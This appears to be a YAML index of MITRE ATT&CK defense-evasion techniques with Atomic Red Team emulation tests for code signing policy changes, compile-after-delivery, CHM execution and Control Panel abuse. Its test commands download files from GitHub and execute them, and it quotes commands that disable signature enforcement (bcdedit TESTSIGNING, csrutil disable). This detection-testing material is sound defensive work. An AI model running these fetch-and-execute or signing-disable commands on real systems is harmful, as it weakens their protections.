      - source_name: Microsoft TESTSIGNING Feb 2021
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
        description: Microsoft. (2021, February 15). Enable Loading of Test Signed
          Drivers. Retrieved April 22, 2021.
      - source_name: FireEye HIKIT Rootkit Part 2
        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html
        description: 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'
      - source_name: GitHub Turla Driver Loader
        url: https://github.com/hfiref0x/TDL
        description: TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved
          April 22, 2021.
      - url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
        description: 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence
          of crimeware and APT attacks. Retrieved March 24, 2016.'
        source_name: F-Secure BlackEnergy 2014
      - source_name: Unit42 AcidBox June 2020
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Code Signing Policy Modification
      description: "Adversaries may modify code signing policies to enable execution
        of unsigned or self-signed code. Code signing provides a level of authenticity
        on a program from a developer and a guarantee that the program has not been
        tampered with. Security controls can include enforcement mechanisms to ensure
        that only valid, signed code can be run on an operating system. \n\nSome of
        these security controls may be enabled by default, such as Driver Signature
        Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation:
        Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls
        may be disabled by default but are configurable through application controls,
        such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a
        system. Since it can be useful for developers to modify default signature
        enforcement policies during the development and testing of applications, disabling
        of these features may be possible with elevated permissions.(Citation: Microsoft
        Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may
        modify code signing policies in a number of ways, including through use of
        command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112),
        rebooting the computer in a debug/recovery mode, or by altering the value
        of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation:
        Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub
        Turla Driver Loader) Examples of commands that can modify the code signing
        policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on
        Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING
        Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful
        modification of a signing policy may require reboot of the compromised system.
        Additionally, some implementations can introduce visible artifacts for the
        user (ex: a watermark in the corner of the screen stating the system is in
        Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure
        BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related
        to signature checks, such as modifying <code>g_CiOptions</code> to disable
        Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege
        Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but
        vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla
        Driver Loader)"
      id: attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-26T15:41:39.155Z'
      created: '2021-04-23T01:04:57.161Z'
      x_mitre_detection: 'Monitor processes and command-line arguments for actions
        that could be taken to modify the code signing policy of a system, such as
        <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING
        Feb 2021) Consider monitoring for modifications made to Registry keys associated
        with code signing policies, such as <code>HKCU\Software\Policies\Microsoft\Windows
        NT\Driver Signing</code>. Modifications to the code signing policy of a system
        are likely to be rare.'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Abel Morales, Exabeam
      x_mitre_defense_bypassed:
      - Application control
      - User Mode Signature Validation
      - Digital Certificate Validation
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_platforms:
      - Windows
      - macOS
    atomic_tests: []
  T1027.004:
    technique:
      created: '2020-03-16T15:30:57.711Z'
      modified: '2020-03-29T20:59:32.293Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617
      description: |-
        Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

        Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
      name: Compile After Delivery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1027.004
        url: https://attack.mitre.org/techniques/T1027/004
      - description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations
          in Lebanon and Oman: Using an Israeli compromised domain for a two-stage
          campaign. Retrieved November 29, 2018.'
        url: https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
        source_name: ClearSky MuddyWater Nov 2018
      - source_name: TrendMicro WindowsAppMac
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
        description: Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads
          Info Stealer and Adware. Retrieved April 25, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Praetorian
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor the execution file paths and command-line arguments
        for common compilers, such as csc.exe and GCC/MinGW, and correlate with other
        suspicious behavior to reduce false positives from normal user and administrator
        behavior. The compilation of payloads may also generate file creation and/or
        file write events. Look for non-native binary formats and cross-platform compiler
        and execution frameworks like Mono and determine if they have a legitimate
        purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these
        should only be used in specific and limited cases, like for software development.'
      x_mitre_defense_bypassed:
      - Signature-based detection
      - Host intrusion prevention systems
      - Anti-virus
      - Binary Analysis
      - Static File Analysis
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Compiler software (either native to the system or delivered by the adversary)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1027.004
    atomic_tests:
    - name: Compile After Delivery using csc.exe
      auto_generated_guid: ffcdbd6a-b0e8-487d-927a-09127fe9a206
      description: |
        Compile C# code using csc.exe binary used by .NET
        Upon execution an exe named T1027.004.exe will be placed in the temp folder
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Output compiled binary
          type: Path
          default: C:\Windows\Temp\T1027.004.exe
        input_file:
          description: C# code that launches calc.exe from a hidden cmd.exe Window
          type: Path
          default: PathToAtomicsFolder\T1027.004\src\calc.cs
      dependency_executor_name: powershell
      dependencies:
      - description: 'C# file must exist on disk at specified location (#{input_file})

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs" -OutFile "#{input_file}"
      executor:
        command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file}
          #{input_file}

'
        cleanup_command: 'del #{output_file} >nul 2>&1

'
        name: command_prompt
    - name: Dynamic C# Compile
      auto_generated_guid: 453614d8-3ba6-4147-acc0-7ec4b3e1faef
      description: "When C# is compiled dynamically, a .cmdline file will be created
        as a part of the process. \nCertain processes are not typically observed compiling
        C# code, but can do so without touching disk. This can be used to unpack a
        payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe
        is containted in the 'bin' folder of this atomic, and the source code to the
        file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004
        Dynamic Compile'.\n"
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: exe program containing dynamically compiled C# code
          type: Path
          default: PathToAtomicsFolder\T1027.004\bin\T1027.004_DynamicCompile.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'exe file must exist on disk at specified location (#{input_file})

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe
          -OutFile #{input_file}

'
      executor:
        command: 'Invoke-Expression #{input_file}

'
        name: powershell
    - name: C compile
      auto_generated_guid: d0377aa6-850a-42b2-95f0-de558d80be57
      description: 'Compile a c file with either gcc or clang on Linux or Macos.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: Path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.c
      dependency_executor_name: powershell
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c
          -OutFile #{input_file}

'
      executor:
        command: |
          gcc #{input_file} && ./a.out
          clang #{input_file} && ./a.out
        name: bash
    - name: CC compile
      auto_generated_guid: da97bb11-d6d0-4fc1-b445-e443d1346efe
      description: 'Compile a c file with either gcc or clang on Linux or Macos.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: Path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc
      dependency_executor_name: powershell
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c
          -OutFile #{input_file}

'
      executor:
        command: |
          g++ #{input_file} && ./a.out
          clang++ #{input_file} && ./a.out
        name: bash
    - name: Go compile
      auto_generated_guid: 78bd3fa7-773c-449e-a978-dc1f1500bc52
      description: 'Compile a c file with either gcc or clang on Linux or Macos.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: source file
          type: Path
          default: PathToAtomicsFolder/T1027.004/src/T1027-004-test.go
      dependency_executor_name: powershell
      dependencies:
      - description: 'the source file must exist on disk at specified location (#{input_file})

'
        prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c
          -OutFile #{input_file}

'
      executor:
        command: 'go run #{input_file}

'
        name: bash
  T1218.001:
    technique:
      id: attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d
      description: |-
        Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

        A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
      name: Compiled HTML File
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.001
        url: https://attack.mitre.org/techniques/T1218/001
      - source_name: Microsoft HTML Help May 2018
        description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
          October 3, 2018.
        url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
      - source_name: Microsoft HTML Help ActiveX
        description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
          October 3, 2018.
        url: https://msdn.microsoft.com/windows/desktop/ms644670
      - source_name: Microsoft HTML Help Executable Program
        description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
          October 3, 2018.
        url: https://msdn.microsoft.com/windows/desktop/ms524405
      - source_name: MsitPros CHM Aug 2017
        description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
          CHM – CVE-2017-8625. Retrieved October 3, 2018.
        url: https://msitpros.com/?p=3909
      - source_name: Microsoft CVE-2017-8625 Aug 2017
        description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
          Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
        url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:32:24.589Z'
      created: '2020-01-23T18:53:54.377Z'
      x_mitre_platforms:
      - Windows
      x_mitre_detection: |-
        Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.

        Monitor presence and use of CHM files, especially if they are not typically used within an environment.
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
      identifier: T1218.001
    atomic_tests:
    - name: Compiled HTML Help Local Payload
      auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8
      description: |
        Uses hh.exe to execute a local compiled HTML Help payload.
        Upon execution calc.exe will open
      supported_platforms:
      - windows
      input_arguments:
        local_chm_file:
          description: Local .chm payload
          type: Path
          default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm
      dependency_executor_name: powershell
      dependencies:
      - description: 'The payload must exist on disk at specified location (#{local_chm_file})

'
        prereq_command: 'if (Test-Path #{local_chm_file}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
      executor:
        command: 'hh.exe #{local_chm_file}

'
        name: command_prompt
    - name: Compiled HTML Help Remote Payload
      auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d
      description: |
        Uses hh.exe to execute a remote compiled HTML Help payload.
        Upon execution displays an error saying the file cannot be open
      supported_platforms:
      - windows
      input_arguments:
        remote_chm_file:
          description: Remote .chm payload
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm
      executor:
        command: 'hh.exe #{remote_chm_file}

'
        name: command_prompt
    - name: Invoke CHM with default Shortcut Command Execution
      auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7
      description: Executes a CHM file with the default Shortcut Command method.
      supported_platforms:
      - windows
      input_arguments:
        chm_file_path:
          description: Default path of CHM
          type: String
          default: Test.chm
        hh_file_path:
          description: path of modified HH.exe
          type: Path
          default: "$env:windir\\hh.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath
          #{chm_file_path}'
        name: powershell
    - name: Invoke CHM with InfoTech Storage Protocol Handler
      auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6
      description: Executes a CHM file with the ITS protocol handler.
      supported_platforms:
      - windows
      input_arguments:
        hh_file_path:
          description: path of modified HH.exe
          type: Path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: String
          default: its
        chm_file_path:
          description: Default path of CHM
          type: String
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler}
          -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM Simulate Double click
      auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a
      description: Executes a CHM file simulating a user double click.
      supported_platforms:
      - windows
      input_arguments:
        chm_file_path:
          description: Default path of CHM
          type: String
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM with Script Engine and Help Topic
      auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5
      description: Executes a CHM file with a defined script engine, ITS Protocol
        Handler, and help topic extension.
      supported_platforms:
      - windows
      input_arguments:
        topic_extension:
          description: Default Help Topic
          type: String
          default: html
        hh_file_path:
          description: path of modified HH.exe
          type: Path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: String
          default: its
        script_engine:
          description: Default Script Engine
          type: String
          default: JScript
        chm_file_path:
          description: Default path of CHM
          type: String
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler
          #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath
          #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM Shortcut Command with ITS and Help Topic
      auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247
      description: Executes a CHM file using the Shortcut Command method with a defined
        ITS Protocol Handler, and help topic extension.
      supported_platforms:
      - windows
      input_arguments:
        topic_extension:
          description: Default Help Topic
          type: String
          default: html
        hh_file_path:
          description: path of modified HH.exe
          type: Path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: string
          default: its
        chm_file_path:
          description: Default path of CHM
          type: String
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler
          #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath
          #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
  T1542.002:
    technique:
      created: '2019-12-19T20:21:21.669Z'
      modified: '2020-03-23T23:48:33.904Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
      description: |-
        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
      name: Component Firmware
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.002
        url: https://attack.mitre.org/techniques/T1542/002
      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
          (S.M.A.R.T.). Retrieved October 2, 2018.
        source_name: SanDisk SMART
      - url: https://www.smartmontools.org/
        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
        source_name: SmartMontools
      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        source_name: ITWorld Hard Disk Health Dec 2014
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Driver: Driver Metadata'
      - 'Firmware: Firmware Modification'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.

        Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_system_requirements:
      - Ability to update component device firmware from the host operating system.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1218.002:
    technique:
      id: attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f
      description: |-
        Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

        Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

        Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

        Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)
      name: Control Panel
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.002
        url: https://attack.mitre.org/techniques/T1218/002
      - source_name: Microsoft Implementing CPL
        description: M. (n.d.). Implementing Control Panel Items. Retrieved January
          18, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
      - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
        description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
          Panel Items. Retrieved January 18, 2018.
        source_name: TrendMicro CPL Malware Jan 2014
      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
        description: Bernardino, J. (2013, December 17). Control Panel Files Used
          As Malicious Attachments. Retrieved January 18, 2018.
        source_name: TrendMicro CPL Malware Dec 2013
      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
        description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
          Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
        source_name: Palo Alto Reaver Nov 2017
      - source_name: ESET InvisiMole June 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-21T18:37:11.672Z'
      created: '2020-01-23T19:59:52.630Z'
      x_mitre_contributors:
      - ESET
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_detection: |-
        Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)

        Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:

        * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace</code> and <code>HKEY_CLASSES_ROOT\CLSID\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)
        * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)
